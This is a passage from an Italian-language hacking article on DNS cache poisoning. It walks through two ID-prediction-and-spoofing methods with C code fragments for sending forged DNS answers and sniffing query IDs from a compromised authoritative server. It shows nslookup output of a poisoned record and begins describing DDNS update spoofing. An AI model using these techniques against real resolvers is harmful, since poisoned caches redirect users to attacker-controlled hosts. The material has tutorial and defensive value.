| printf("ok whe have the reponse ;)\n"); | | timez = 0; | | break; | | } | | usleep(10); | | timez++; | | } | | if(timez != 0){ | | printf("hum no reponse from the NS ressend question..\n"); | | dns_qs_no_rd(s_r,DNS_VITTIMA,RAND_TRUST,myrand()); | | } | | | | /* end source example */ | | | | Nel caso invece che arrivi una risposta ma con campo data/answers | | vuoto ricominciera' il ciclo intero modificando il range di ID. | | | | if(sin_rcp.sin_addr.s_addr == DNS_VITTIMA ) | | if(sin_rcp.sin_port == htons(53) ) | | { | | if( dns_recv->qr == 1 ) | | if( dns_recv->rep_num == 0 ) | | /* hum we dont have found the right ID */ | | printf("try %i < ID < %i \n",ID-10,ID); | | | | Nel caso in cui invece l'attacker fosse stato fortunato, vedra' | | comparire a video la stringa: | | | | "the DNS ID of DNS_VITTIMA iz ID-20 < ID < ID-10 !! | | let's send the spoof..." | | | | A questo punto vien ad apparire la funzione cool di questo capitolo: | | | | dnsspoof(SPOOF_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,loop,TYPE); | | | | ovvero la funzione che completera' l'attacco di caching/poisoning. | | La funzione provvedera' ad inviare 4 volte una richiesta di | | risoluzione da FAKE_IP3 a DNS_VITTIMA per SPOOFNAME. | | Quindi provvedera' per 2 volte ad inviare 80 response da SPOOF_TRUST | | a DNS_VITTIMA con la stringa "SPOOFNAME. IN A SPOOFIP", con ID | | incrementale a partire da ID-20. SPOOF_TRUST e' il DNS server che ha | | autorita' sul dominio di spoofname. | | | | /* start source example */ | | | | void dnsspoof(char *dnstrust,char *victim,char *spoofname, \ | | char *spoofip,int ID,int type) | | { | | [snip] | | /* send question ... */ | | if( type == TYPE_PTR) | | for(loop=0;loop<4;loop++) | | sendquestion(FAKE_IP3,DNS_VITTIMA,SPOOFIP,type); | | | | if( type == TYPE_A) | | for(loop=0;loop<4;loop++) | | sendquestion(FAKE_IP3,DNS_VITTIMA,SPOOFNAME,type); | | | | /* now its time to awnser Quickly !!! */ | | for(rere = 0; rere < 2;rere++){ | | for(loop=0;loop < 80;loop++){ | | printf("trustip %s,vitcimip %s,spoofna %s,spoofip %s,ID %i,type \ | | %i\n",DNS_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,ID+loop,type); | | sendawnser(DNS_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,ID+loop,type); | | } | | } | | } | | | | /* end source example */ | | | | A questo punto l'attacker si potra' ritenere fortunato.. e ad una | | richiesta in user-space con ll fido nslookup si avra': | | | | [snhyper@Charlotte1:~] nslookup 31.3.3.7 ns.vittima.edu | | Server: ns.vittima.edu | | Address: x.x.x.1 | | | | Name: h4x0r.evil.com | | Address: 31.3.3.7 | | | | oppure | | | | [snhyper@Charlotte1:~] nslookup h4x0r.evil.com ns.vittima.edu | | Server: ns.vittima.edu | | Address: x.x.x.1 | | | | Name: h4x0r.evil.com | | Address: 31.3.3.7 | | | | ### SECONDO METODO ### | | | | Il secondo ed ultimo metodo in analisi e', come gia detto, il migliore; | | puo' essere definito in questo modo perche' incorpora in un unico tool | | un "DNS ID predictor" preciso ed un "DNS poisoner"..letale.. :P | | Il requisito che pero' lo rende usato per lo piu' dagli attacker di un | | certo livello e' la necessita' di una shell root su di un server DNS | | autoritativo per un dominio, che di solito e' un server compromesso | | a sua volta. La shell root e' necessaria per l'accesso alle raw socket | | e per il binding sulle well-known ports (nel nostro caso la 53udp). | | | | Un tool che permette questo tipo di attacco e', ad esempio, ADMsnOOfID | | sempre di shok degli ADM. | | Anche questo tool della ADM crew si serve delle funzioni delle libpcap | | ma in aggiunta permette attacco multi-interfaces dando la possibilita' | | di specificare ppp+ o eth+. | | | | Anche in questo caso e' possibile analizzare l'algoritmo di attacco | | schematizzandolo in 2 semplici passi principali: | | | | 1) Viene inviata una richiesta di risoluzione dell'hostname RAND_TRUST | | al dns server vittima DNS_VITTIMA usando come indirizzo sorgente | | FAKE_IP1.In questo modo DNS_VITTIMA iniziera' in modalita' ricorsiva | | a cercare di risolvere il nome logico, arrivando a richiederlo a | | DNS_TRUST. In questo caso pero' DNS_TRUST sara' l'host compromesso | | sul quale l'attacker sfrutta una sh #. | | | | /* start source example */ | | | | sprintf(RAND_TRUST,"%d%d%d.%s",myrand(),myrand(),myrand(),DOM_TRUST) | | dnssend->id = 2600; /* id fittizio */ | | dnssend->qr = 0; | | dnssend->rd = 1; | | dnssend->aa = 0; | | dnssend->que_num = htons(1); | | dnssend->rep_num = htons(0); | | i = makepaketQS(data2,RAND_TRUST,TYPE_A); | | udp_send(sraw,FAKE_IP1,DNS_VITTIMA,2600+con,53,buffer2,DNSHDSIZE+i); | | | | /* end source example */ | | | | 2) A questo punto si attende con una pcap_next() in un ciclo di while | | la venuta della fatidica query che dara' in pasto l'ID all'attacker. | | Con qualke construtto di if si vaglia se il pacchetto ha protocollo | | udp,poi se l'IP sorgente e' quello di DNS_VITTIMA e il destinatario | | e' DNS_TRUST, se la porta di destinazione e' la 53 ed infine se il | | campo QR e' settato a 0 (indicando che il DNS packet e' una query). | | Nel caso in cui un ciclo dovesse saltare, si ricomincia da capo da | | questo punto (reinizia il while). | | Nel caso invece che il pacchetto rispetti tutte le condizioni, e che | | quindi sia la query attesa, viene subito preso l'ID del pacchetto | | e fatta scattare la gia' vista funzione dnsspoof() che portera' a | | completamento l'attacco di posioning/caching. | | | | /* start source example */ | | | | if(ip->protocol == 17 ) | | if(ip->saddr.s_addr == DNS_VITTIMA ) | | if(ip->daddr.s_addr == DNS_TRUST ) | | if(udp->dest == htons(53) ) | | if(dnsrecv->qr == 0 ) { | | | | ID = dnsrecv->id ; /* preso l'ID */ | | DA_ID = ntohs(ID); | | | | dnsspoof(DNS_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,DA_ID,type); | | | | /* end source example */ | | | | A questo punto un semplice test con nslookup verifichera' il | | successo dell'attacco o meno. | | | | }; | | | | -sub_G() DDNS update spoofing: { | | | | Da non molto tempo ha fatto comparsa il cosiddetto DDNS, ovvero il | | Dynamic DNS, che ha subito allargato la propria zona di influenza | | sul mercato di internet per i suoi vantaggi. | | Il DDNS permette update di RRs, singoli o in set, dinamicamente con | | un pacchetto di update senza mettere mano ai file di configurazione. | | Chiaramente i portali che offrono servizi di url-redirection, | | "third-level domain" etc.. ne hanno subito fatto uso permettendo ai | | propri utenti registrati di fare update dinamici di propri sottodomini | | e di mapparli sul proprio IP, che non deve necessariamente essere | | statico. Da quando questo servizio ha preso piede si vedono infatti | | molti personaggi che "circolano" soprattutto su irc con host del tipo: | | 31337.h4x0r.d00d.homelinux.org e vari..,talvolta spacciando un semplice | | update di RR in un vhost hackato.. | | | | In ogni caso anche il protocollo DDNS presenta dei bachi che permettono | | un update incontrollato di RRs e RRset,minacciando ancora una volta la | | sicurezza di quelle aziende che se ne servono per lavoro. | | | | Un tool che dimostra questo attacco e', ad esempio, ddns_spoofer di | | awacs dei 3xT. Requisito per il completamento di questo tipo di attacco | | e' la conoscenza dell'owner del RR, senza il quale risulta impossibile | | completare un update. | | | | Le azioni che sono permesse via DDNS sono: | | - Aggiunta di un RR o piu' ad un RRset | | - Eliminazione di un RRset | | - Eliminazione di tutti i RRset da un nome | | - Eliminazione di un RR da un RRset | | | | e sono distinte dal contenuto dei campi principali nel seguente modo: | | | | CLASS TYPE RDATA significato | | ------------------------------------------------------------------ | | ANY ANY vuoto Eliminazione di tutti i RRset da un nome | | ANY rrset vuoto Eliminazione di un RRset | | NONE rrset rr Eliminazione di un RR da un RRset | | zone rrset rr Aggiunta di un RR | | | | | | Un update message puo' essere schematizzato nel seguente modo: | | | | +---------------------+ | | | Header | | | +---------------------+ | | | Zone | | | +---------------------+ | | | Prerequisite | RRs or RRsets which must (not) preexist | | +---------------------+ | | | Update | RRs or RRsets to be added or deleted | | +---------------------+ | | | Additional Data | additional data | | +---------------------+ | | | | header -> e' il classico dns header modificato per indicare la | |